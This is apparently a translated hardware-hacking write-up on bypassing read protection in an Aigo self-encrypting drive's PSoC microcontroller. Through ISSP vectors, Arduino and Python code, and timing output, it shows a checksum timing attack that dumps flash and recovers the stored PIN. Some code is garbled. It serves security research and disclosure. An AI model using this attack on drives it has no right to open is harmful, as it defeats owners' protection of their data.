Това е втората и заключителна част от статията за хакването на външните самошифроващи се дискове. Напомням, че наскоро колегата ми донесе твърд диск Patriot (Aigo) SK8671 и реших да извърша реверс инжинеринг, а сега споделям какво стана. Преди да продължите, моля, запознайте се с статията.

4. Започваме с изваждане на дамп от вътрешната флаш памет PSoC
И така, всичко сочи към това (както установихме в [първата част]()), че ПИН кодът се съхранява във флаш паметта на PSoC. Следователно, необходимо е да прочетем тези флаш недра. Фронт на необходимата работа:
- да установим контрол над „комуникацията“ с микроконтролера;
- да намерим начин да проверим дали тази „комуникация“ е защитена от четене от външни източници;
- да намерим метод за заобикаляне на защитата.
Има две места, където има смисъл да търсим активен ПИН код:
- вътрешна флаш памет;
- SRAM, където ПИН кодът може да се съхранява за сравнение с този, който въвежда потребителят.
Предварително отбелязвам, че успях да извлеча дамп от вътрешната флаш памет PSoC, като заобиколих защитната й система чрез хардуерна атака „трасировка с студен рестарт“ – след реверс инжинеринг на недокументираните възможности на ISSP протокола. Това ми позволи да извлека дамп на активния ПИН код.
$ .\/psoc.py
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9Крайният софтуерен код:
- ;
- .
5. ISSP протокол
5.1. Какво е ISSP
„Комуникацията“ с микроконтролера може да означава различни неща: от „производител до производител“ до взаимодействие, използвайки сериен протокол (например, ICSP за PIC от Microchip).
За Cypress съществува собствен патентован протокол, наречен ISSP (протокол за последователно програмно програмиране на системата), който частично е описан в . също така дава информация. Съществува и OpenSource аналог, наречен HSSP (ще го използваме по-късно). ISSP работи по следния начин:
- презаредете PSoC;
- изведете магическото число на крака на последователните данни на този PSoC; за вход в режим на външно програмиране;
- изпратете команди, които представляват дълги битови низове, наречени «вектори».
В документацията за ISSP тези вектори са дефинирани само за малък брой команди:
- Инициализиране-1
- Инициализиране-2
- Инициализиране-3 (варианти 3V и 5V)
- ID-НАСТРОЙКА
- ЧЕТЕНЕ-ID-ДУМА
- НАСТРОЙКА-БЛОК-НУМ: 10011111010dddddddd111, където dddddddd=номер на блока
- ГРУПОВО ИЗТРИВАНЕ
- ПРОГРАМИРАНЕ-БЛОК
- ВЕРИФИКАЦИЯ-НАСТРОЙКА
- ЧЕТЕНЕ-БАЙТ: 10110aaaaaaZDDDDDDDDZ1, където DDDDDDDD = изходни данни, aaaaaa = адрес (6 бита)
- ЗАПИС-БАЙТ: 10010aaaaaadddddddd111, където dddddddd = входящи данни, aaaaaa = адрес (6 бита)
- СИГУРНОСТ
- НАСТРОЙКА-КОНТРОЛНА СУМА
- ЧЕТЕНЕ-КОНТРОЛНА СУМА: 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1, където DDDDDDDDDDDDDDDD = изходни данни: контролна сума на устройството
- ИЗТРИВАНЕ БЛОК
Например, вектор за Инициализиране-2:
1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111Всички вектори имат еднаква дължина: 22 бита. В документацията за HSSP има допълнителна информация за ISSP: «ISSP-векторът не е нищо друго, а последователност от битове, представляваща набор от инструкции».
5.2. Демистифициране на векторите
Нека разберем какво се случва тук. Първоначално предположих, че тези вектори представляват raw-версии на M8C инструкции, но след проверка на тази хипотеза открих, че опкодите на операциите не съвпадат.
След това погледнах в интернет за горепосочения вектор и се натъкнах на изследване, където авторът, макар и да не навлиза в детайли, предоставя няколко полезни насоки: «Всяка инструкция започва с три бита, които съответстват на една от четирите мнемоники (да прочетем от RAM, да запишем в RAM, да прочетем регистър, да запишем регистър). Следват 8-битови адреси, после 8 бита данни (четени или за запис) и накрая три стоп-бита».
Също така успях да получа много полезна информация от раздела «Supervisory ROM (SROM)» . SROM е хардкодирана ROM в PSoC, която предоставя сервизни функции (по подобен принцип на Syscall), – за програмен код, изпълняван в потребителското пространство:
- 00h: SWBootReset
- 01h: Четене на Блок
- 02h: Запис на Блок
- 03h: Изтриване на Блок
- 06h: Четене на Таблица
- 07h: Контролна Сума
- 08h: Калибриране0
- 09h: Калибриране1
Сравнявайки имената на векторите с функциите SROM, можем да сопоставим различните операции, поддържани от този протокол, – с очакваните SROM параметри. Благодарение на това можем да декодираме първите три бита на ISSP векторите:
- 100 => “wrmem”
- 101 => “rdmem”
- 110 => “wrreg”
- 111 => “rdreg”
Въпреки това, пълното разбиране на вътрешночиповите процеси може да бъде получено само при непосредствено общуване с PSoC.
5.3. Общуване с PSoC
Тъй като Дирк Петраутски вече HSSP кода на Cypress за Arduino, използвах Arduino Uno за свързване с ISSP интерфейса на клавиатурната платка.
Обърнете внимание, че в хода на своето изследване значително промених кода на Дирк. Моето модифицирано съдържание можете да намерите на GitHub: и съответния Python скрипт за общуване с Arduino в моето репозиторио .
Така че, използвайки Arduino, първо използвах за ‘общуване’ само ‘официалните’ вектори. Опитах се да прочета вътрешната ROM, като използвах командата VERIFY. Както се очакваше, не успях. Вероятно, поради факта, че в паметта са активирани битове за защита от четене.
След това създадох няколко свои прости вектора за запис и четене на памет/регистри. Обърнете внимание, че можем да прочетем цялата SROM, дори и да е защитена!
5.4. Идентификация на вътрешночиповите регистри
Поглеждайки ‘дизасемблираните’ вектори, установих, че устройството използва недокументирани регистри (0xF8-0xFA), за указване на M8C опкодове, които се изпълняват директно, заобикаляйки защитата. Това ми позволи да изпълнявам различни опкодове, като ‘ADD’, ‘MOV A, X’, ‘PUSH’ или ‘JMP’. Благодарение на тях (чрез наблюдение на страничните ефекти, които оказват върху регистрите) успях да определя, кои от недокументираните регистри всъщност са обикновени регистри (A, X, SP и PC).
В крайна сметка, ‘дизасемблираният’ код, генериран от инструмента HSSP_disas.rb, изглежда така (за ясност добавих коментари):
--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00 # нулиране на флаговете
[DE C0 1C] wrreg SP (f6), 0x00 # нулиране на SP
[9F 07 5C] wrmem KEY1, 0x3A # задължителен аргумент за SSC
[9F 20 7C] wrmem KEY2, 0x03 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00 # нулиране на PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03 # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80 # RAM указател за изходни данни
[DF 26 1C] wrreg opc1 (f9), 0x30 # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40 # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01 # BLOCK ID за извикване на SSC
[DE 00 DC] wrreg A (f0), 0x06 # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00 # Опкод за SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12 # Недокументирана операция: изпълни външен опкод
5.5. Защитни битове
На този етап вече мога да комуникирам с PSoC, но все още нямам достоверна информация за защитните битове на флаш паметта. Бях много учуден от факта, че Cypress не предоставя на потребителя на устройството никакви средства, за да провери дали защитата е активирана. Дълбоко се вгледах в Google, за да разбера окончателно, че HSSP кодът, предоставен от Cypress, беше актуализиран след като Дирк издаде своята модификация. И ето! Появи се този нов вектор:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестни аргументи
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10 # недокументиран syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Използвайки този вектор (вижте read_security_data в psoc.py), извличаме всички защитни битове в SRAM на 0x80, където на всеки защитен блок се падат по два бита.
Резултатът е разочаровающ: всичко е защитено в режим „деактивиране на външно четене и запис“. Затова не само че не можем да прочетем нищо от флаш паметта, но и да запишем (например да внедрим ROM дампер). А единственият начин да деактивираме защитата е да изтрием целия чип. 🙁
6. Първа (неуспешна) атака: ROMX
Въпреки това можем да опитаме да направим следния трик: тъй като имаме възможност да изпълняваме произволни опкоди, защо да не изпълним ROMX, който се използва за четене на флаш памет? Този подход има добри шансове за успех, защото функцията ReadBlock, която чете данни от SROM (която се използва от векторите), проверява дали е извикана от ISSP. Въпреки това, опкодът ROMX вероятно може да няма такава проверка. И така, ето Python код (след добавяне на няколко спомагателни класа в C-кода на Arduino):
for i in range(0, 8192):
write_reg(0xF0, i>>8) # A = 0
write_reg(0xF3, i&0xFF) # X = 0
exec_opcodes("x28x30x40") # ROMX, HALT, NOP
byte = read_reg(0xF0) # ROMX reads ROM[A|X] into A
print "x" % ord(byte[0]) # print ROM byteЗа съжаление този код не работи. 🙁 Всъщност работи, но получаваме свои собствени опкоди (0x28 0x30 0x40)! Не мисля, че съответната функционалност на устройството е елемент от защитата от четене. По-скоро изглежда като инженерно решение: при изпълнение на външни опкоди, ROM шината се пренасочва към временен буфер.
7. Втора атака: трасировка с студен рестарт
Тъй като трикът с ROMX не сработи, започнах да обмислям друга вариация на този трик – описана в публикацията .
7.1. Реализация
В документацията на ISSP е посочен следният вектор за CHECKSUM-SETUP:
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Тук всъщност се извиква SROM функцията 0x07, както е представено в документацията (курсив моят):
Тази функция проверява контролна сума. Тя изчислява 16-битова контролна сума на броя на блоковете, зададени от потребителя – в една флаш банка, започвайки от нула. Параметърът BLOCKID се използва за предаване на броя блокове, които ще се използват при изчислението на контролната сума. Стойността „1“ ще изчисли контролна сума само за нулевия блок; докато „0“ ще доведе до изчисляване на общата контролна сума на всички 256 блока във флаш банката. 16-битовата контролна сума се връща чрез KEY1 и KEY2. В параметъра KEY1 се записват младшите 8 бита на контрольната сума, а в KEY2 – старшите 8 бита. За устройства с няколко флаш банки, функцията за контрольна сума се извиква за всяка поотделно. Номерът на банката, с която ще работи, се задава от регистра FLS_PR1 (чрез задаване на бит, който съответства на целевата флаш банка).
Обърнете внимание, че това е най-простата контрольна сума: байтовете просто се сумират един след друг; без сложни CRC трикове. Освен това, знаейки, че в ядрото M8C наборът от регистри е много малък, предположих, че при изчисляване на контрольната сума междинните стойности ще се записват в същите променливи, които в крайна сметка ще излязат: KEY1 (0xF8) / KEY2 (0xF9).
Така че, в теорията моята атака изглежда така:
- Свързваме се чрез ISSP.
- Стартираме изчисляването на контрольната сума, използвайки вектора CHECKSUM-SETUP.
- Рестартираме процесора след зададено време T.
- Четем RAM, за да получим текущата контрольна сума C.
- Повтаряме стъпки 3 и 4, като всеки път малко увеличаваме T.
- Възстановяваме данните от флаш паметта, като изваждаме предишната контрольна сума C от текущата.
Но възникна проблем: векторът Initialize-1, който трябва да изпратим след рестартиране, презаписва KEY1 и KEY2:
1100101000000000000000 # Магия, която прехвърля PSoC в режим на програмиране
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольната сума се презаписва тук
[9F 20 7C] wrmem KEY2, 0x03 # и тук
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09 # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00 # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12Този код изтрива нашата ценна контрольна сума, извиквайки Calibrate1 (SROM-функция 9)… Може би ще успеем, просто изпращайки магическото число (от началото на горния код), да влезем в режим на програмиране и след това да прочетем SRAM? И да, това работи! Кодът на Arduino, реализиращ тази атака, е доста опростен:
case Cmnd_STK_START_CSUM:
checksum_delay = ((uint32_t)getch())<<24;
checksum_delay |= ((uint32_t)getch())<<16;
checksum_delay |= ((uint32_t)getch())< 10000) {
ms_delay = checksum_delay/1000;
checksum_delay = checksum_delay00;
}
else {
ms_delay = 0;
}
send_checksum_v();
if(checksum_delay)
delayMicroseconds(checksum_delay);
delay(ms_delay);
start_pmode();- Да се прочете checkum_delay.
- Да се стартира изчисляването на контрольната сума (send_checksum_v).
- Изчакайте зададения интервал от време, като вземете предвид следните подводни камъни:
- прекарах много време, докато научих, че всъщност работи правилно само за закъснения, които не надвишават 16383μс;
- и след това отново прекарах толкова време, докато открих, че delayMicroseconds, когато подадете 0, работи напълно неправилно!
- Рестартирайте PSoC в програмния режим (просто изпращате магическо число, без да изпращате инициализиращи вектори).
Финалният код на Python:
for delay in range(0, 150000): # закъснение в микросекунди
for i in range(0, 10): # брой четения за всяко от закъсненията
try:
reset_psoc(quiet=True) # рестартиране и влизане в програмния режим
send_vectors() # изпращане на инициализиращите вектори
ser.write("x85"+struct.pack(">I", delay)) # изчислява контролната сума + рестартиране след закъснението
res = ser.read(1) # четене на arduino ACK
except Exception as e:
print e
ser.close()
os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # отваряне на сериалния порт
continue
print "d X X X" % (delay, # четене на RAM-байтове
read_regb(0xf1),
read_ramb(0xf8),
read_ramb(0xf9))В две думи, какво прави този код:
- Рестартира PSoC (и му изпраща магическо число).
- Изпраща пълноценни инициализационни вектори.
- Извиква Arduino-функцията Cmnd_STK_START_CSUM (0x85), където като параметър се предава закъснение в микросекунди.
- Чете контролната сума (0xF8 и 0xF9) и недокументирания регистър 0xF1.
Този код изпълнява по 10 пъти за 1 микросекунда. 0xF1 е включен тук, тъй като беше единственият регистър, който се променяше при изчисляването на контролната сума. Може би това е някаква времева променлива, използвана от аритметично-логическото устройство. Обърнете внимание на грубия хак, с който рестартирам Arduino, използвайки picocom, когато Arduino спре да подава признаци на живот (нямам представа защо).
7.2. Четем резултата
Резултатът от работата на Python-скрипта изглежда така (опростен за удобочитаемост):
DELAY F1 F8 F9 # F1 – горепосоченият неизвестен регистър
# F8 младши байт на контролна сума
# F9 старши байт на контролна сума
00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00 # контролна сума нулира на 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00 # 1-ви байт: 0x0080-0x0000 = 0x80
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00 # 2-ри байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01 # нямам идея какво се случва тук
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00 # Още веднъж E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00 # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01 # А, разбрах! Ето го прехвърлянето на старши байт
00063 01 17 01
[...]
00075 CC 17 01 # И така, 0x117-0xE7: 0x30Имаме проблем: понеже оперираме с действителната контролна сума, нулевият байт не променя прочетената стойност. Въпреки това, тъй като цялата процедура на изчисление (8192 байта) отнема 0,1478 секунди (с леки вариации при всяко стартиране), което е около 18,04 мкс на байт, – можем да използваме това време, за да проверим стойността на контролна сума в подходящи моменти. За първите изпълнения всичко е сравнително лесно за прочитане, тъй като продължителността на изпълнението на изчислителната процедура е почти еднаква. Въпреки това, краят на този дамп е по-малко точен, тъй като „незначителните вариации по време“ при всяко изпълнение – се натрупват и стават значителни:
134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DDТова са 10 дампа за всяка микросекундна закъснение. Общото време за събиране на дампа на всички 8192 байта от флаш паметта е около 48 часа.
7.3. Реконструкция на флаш-бинарник
Все още не съм завършил кода, който напълно реконструира софтуерния код на флаш паметта, като взема предвид всички времеви отклонения. Все пак, началото на този код вече е възстановено. За да се уверя, че съм го направил правилно, го дизасемблирах с помощта на m8cdis:
0000: 80 67 jmp 0068h ; Вектор сброса
[...]
0068: 71 10 or F,010h
006a: 62 e3 87 mov reg[VLT_CR],087h
006d: 70 ef and F,0efh
006f: 41 fe fb and reg[CPU_SCR1],0fbh
0072: 50 80 mov A,080h
0074: 4e swap A,SP
0075: 55 fa 01 mov [0fah],001h
0078: 4f mov X,SP
0079: 5b mov A,X
007a: 01 03 add A,003h
007c: 53 f9 mov [0f9h],A
007e: 55 f8 3a mov [0f8h],03ah
0081: 50 06 mov A,006h
0083: 00 ssc
[...]
0122: 18 pop A
0123: 71 10 or F,010h
0125: 43 e3 10 or reg[VLT_CR],010h
0128: 70 00 and F,000h ; Режим страниц изменён с 3 на 0
012a: ef 62 jacc 008dh
012c: e0 00 jacc 012dh
012e: 71 10 or F,010h
0130: 62 e0 02 mov reg[OSC_CR0],002h
0133: 70 ef and F,0efh
0135: 62 e2 00 mov reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff jmp 013bh
013d: 50 08 mov A,008h
013f: 7f retИзглежда напълно правдоподобно!
7.4. Намираме адреса на съхранение на ПИН кода
Сега, когато можем да прочетем контролната сума в необходимите ни моменти, можем лесно да проверим как и къде се променя, когато:
- въведем грешен ПИН код;
- променим ПИН кода.
Първоначално, за да намеря приблизителния адрес на съхранение, аз направих дамп на контролната сума на всеки 10 мс, след перезареждане. След това въведох грешен ПИН код и направих същото.
Резултатът не беше много приятен, тъй като имаше много промени. Но в крайна сметка успях да установя, че контролната сума се е променила някъде между 120000 микросекунди и 140000 микросекунди закъснение. Но "ПИН кодът", който открих там, беше абсолютно неправилен - поради артефакт от процедурата delayMicroseconds, която прави непонятни неща, когато й се предаде 0.
След това, прекарайки почти 3 часа, си спомних, че системното повикване на SROM CheckSum приема аргумент, задаващ броя на блоковете за контролната сума! Така можем лесно да локализираме адреса на съхранение на ПИН кода и брояча на "грешни опити", – с точност до 64-байтов блок.
Моите първоначални проби дадоха следния резултат:

След това смених ПИН кода от "123456" на "1234567" и получих:

Следователно, ПИН кодът и броячът на грешни опити, изглежда се съхраняват в блок №126.
7.5. Снемаме дамп на блок №126
Блок №126 трябва да се намира някъде около 125x64x18 = 144000 микросекунди от началото на изчислението на контролната сума, в моя пълен дамп, и изглежда напълно правдоподобно. След това, след ръчно отсяване на многото неверни дампове (поради натрупването на "незначителни отклонения във времето"), в крайна сметка получих следните байтове (при закъснение 145527 мкс):

Очевидно, че ПИН кодът се съхранява в незашифрован вид! Тези стойности разбира се не са записани в ASCII кодове, но както се оказа – отразяват показания от капацитивната клавиатура.
Накрая, проведох още няколко теста, за да намеря къде се съхранява броячът на неуспешни опити. Ето резултатът:

0xFF – означава "15 опити", и той намалява при всеки неуспешен опит.
7.6. Възстановяване на ПИН кода
Ето моят грозен код, който събира всичко казано дотук:
def dump_pin():
pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
last_csum = 0
pin_bytes = []
for delay in range(145495, 145719, 16):
csum = csum_at(delay, 1)
byte = (csum-last_csum)&0xFF
print "d x (x) => x" % (delay, csum, last_csum, byte)
pin_bytes.append(byte)
last_csum = csum
print "PIN: ",
for i in range(0, len(pin_bytes)):
if pin_bytes[i] in pin_map:
print pin_map[pin_bytes[i]],
printЕто резултатът от изпълнението му:
$ .\/psoc.py
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9Ура! Работи!
Обърнете внимание, че стойностите на забавянето, които използвах, вероятно са актуални за конкретен PSoC – този, който използвах.
8. Какво следва?
И така, да обобщим от страната на PSoC, в контекста на нашето устройство Aigo:
- можем да прочетем SRAM, дори и ако е защитена от четене;
- можем да заобиколим защитата от четене, чрез атака "трасировка с студена перезареждане" и пряко четене на ПИН кода.
Въпреки това, нашата атака има известни недостатъци – поради проблеми с синхронизацията. Тя може да бъде подобрена по следния начин:
- да напишем утилита за правилно декодиране на изходните данни, получени в резултат на атака "трасировка с студена перезареждане";
- да използваме FPGA добавка за създаване на по-точни времеви забавяния (или да използваме хардуерни таймери на Arduino);
- да пробвате още една атака: да въведете явно неверен ПИН код, да рестартирате и да извадите дъмп на RAM, в надеждата, че правилният ПИН код ще бъде запазен в RAM за сравнение. Обаче, на Arduino това не е толкова лесно, тъй като нивото на сигнала на Arduino е 5 волта, докато разглежданата от нас платка работи с 3.3 волта.
Една интересна вещ, която може да се опита, е да се играе с нивото на напрежението, за да се заобиколи защитата от четене. Ако този подход проработи, бихме могли да получим абсолютно точни данни от флаш паметта, вместо да разчитаме на четене на контролна сума с неточни времеви закъснения.
Тъй като SROM вероятно чете защитните битове чрез системен повик ReadBlock, можем да направим същото, както в блога на Дмитрий Недоспасов – повторна реализация на атаката на Крис Герлински, обявена на конференцията .
Още една интересна вещ, която може да направите, е да свалите корпуса на чипа: за извличане на дъмп от SRAM, идентифициране на недокументирани системни повиквания и уязвимости.
9. Заключение
И така, защитата на този носител оставя много да се желае, защото той за съхранение на ПИН кода използва обикновен (не „закален“) микроконтролер… Освен това все още не съм разглеждал (поне), как стоят нещата с криптиране на данни на това устройство!
Какво може да се посъветва за Aigo? Анализирайки две-три модели на криптирани HDD носители, през 2015 година направих на SyScan, в която разгледах проблемите със сигурността на няколко външни HDD носители и дадох препоръки какво може да се подобри в тях. 🙂
На това проучване отделих два уикенда и няколко вечери. Общо около 40 часа. От началото до края (когато отворих диска) и до самия край (дамп на ПИН кода). В тези 40 часа е включено времето, което отне за написването на тази статия. Беше много вълнуващо пътешествие.
Източник: habr.com
